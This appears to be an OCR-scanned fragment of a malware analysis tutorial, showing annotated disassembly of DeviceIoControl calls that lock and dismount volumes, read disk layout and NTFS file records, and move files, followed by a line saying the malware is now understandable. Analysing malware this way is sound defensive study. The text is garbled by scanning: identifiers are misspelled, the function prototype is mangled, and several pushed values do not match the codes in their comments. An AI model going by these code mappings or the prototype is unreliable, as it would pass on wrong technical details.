; dwloControlCode 70050 = Handle IOCTL_DISK_GET_DRIVE_LAYOUT _EX

push  560000h + dwloControlCode 560000 = IOCTL_VOLUME _GET_VOLUME _DISK_EXTENTS

push 90018h
push  90020h

+ dwloControlCode 90018 = FSCTL_LOCK_VOLUME
+ dwIoControlCode 90020 = FSCTL_DISMOUNT _VOLUME

push  560000h + dwloControlCode 560000 = IOCTL_VOLUME _GET_VOLUME _DISK_EXTENTS

push 90073h ; dwloControlCode 90073 = FSCTL_GET_RETRIEVAL_POINTERS
push 90073h ; dwloControlCods 90073= FSCTL_GET_RETRIEVAL_POINTERS
push 90074 ; dwloControlCode 90074= FSCTL_MOVE_FILE

push 90068h ; dwloControlCode 90088 = FSCTL_GET_NTFS_FILE_RECORD

push 560000h  ;dwloControlCode 560000 = IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS

push 90064

. ; dwloControlCode 90054 = FSCTL_GET_NTFS_VOLUME_DATA
; BOOL {_stdeall *DeviceloControf)(HANDLE hDevice, DWORD dwloContrelCode, LPVOID lpInBuffer, DWORD ninBuffersize, LPVOID [pOutBuffer, DWORD nOutBuffersize, LPDWORD IpBytesReturned, LPOVERLAPPED IpOverlapped)

Well done! Now this amazing malware is totally understandable!
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